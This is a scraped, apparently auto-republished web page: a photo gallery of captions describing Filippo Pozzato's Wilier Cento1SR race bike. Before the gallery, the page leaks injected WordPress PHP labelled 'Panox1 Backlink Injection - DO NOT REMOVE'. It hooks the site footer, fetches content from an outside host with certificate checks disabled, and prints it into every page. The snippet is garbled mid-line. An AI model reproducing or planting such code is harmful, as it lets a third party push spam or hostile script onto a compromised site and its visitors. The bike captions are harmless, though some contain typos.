// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Filippo Pozzato's Wilier Triestina Cento1SR – Gallery – Next Sports News

Filippo Pozzato's Wilier Triestina Cento1SR – Gallery

[ad_1]

Filippo Pozzato’s Wilier Cento1SR

(Tim de Waele/TDWSport.com)

Pozzato goes for a 54-42 combo up front

(Tim de Waele/TDWSport.com)

Italian company Ursus have been making wheels since 1967 and also provide Pro-Conti team CCC Sprandi Polkowice with their wheels

(Tim de Waele/TDWSport.com)

Just in case you weren’t sure who makes the bike, its Willier

(Tim de Waele/TDWSport.com)

Willier branded bidon cages for Pozzato

(Tim de Waele/TDWSport.com)

Pozzato goes for a Ritchey headset and FSA stem set up

(Tim de Waele/TDWSport.com)

Mechanical Shimano Dura Ace shifters for Pozzato

(Tim de Waele/TDWSport.com)

Ursus wheel and Vittoria Corsa tyre combo for Pozzato

(Tim de Waele/TDWSport.com)

The grey and fluo makes for a stark contrast up front

(Tim de Waele/TDWSport.com)

The Italian flag decal is a reminder of Willier’s routes

(Tim de Waele/TDWSport.com)

Pozzato with mechanical Dura Ace at San Luis

(Tim de Waele/TDWSport.com)

A SRM Powermeter measure Pozzato’s output

(Tim de Waele/TDWSport.com)

A rather clean front end

(Tim de Waele/TDWSport.com)

Shimano Dura Ace also takes care of the braking

(Tim de Waele/TDWSport.com)

A Ritchey Superlogic seat post topper attaches the Selle Italia

(Tim de Waele/TDWSport.com)

With the SRM extension, it’s a long looking front end to the bike

(Tim de Waele/TDWSport.com)

’60 Ton’ is not the weight of the bike…

(Tim de Waele/TDWSport.com)

A pink SRM powermeter headunit adds some colour to the bike

(Tim de Waele/TDWSport.com)

Selle Italia is the ‘office chair’ of choice

(Tim de Waele/TDWSport.com)

A chunky rear end

(Tim de Waele/TDWSport.com)

Pozzato is a long time user of Shimano Dura Ace pedals

(Tim de Waele/TDWSport.com)

Vittoria Corsa tyres aren’t as common as they once were in the peloton but are the choice of Southeast

(Tim de Waele/TDWSport.com)

Pozzato’s bike is UCI approved

(Tim de Waele/TDWSport.com)

[ad_2]

Source link

Reply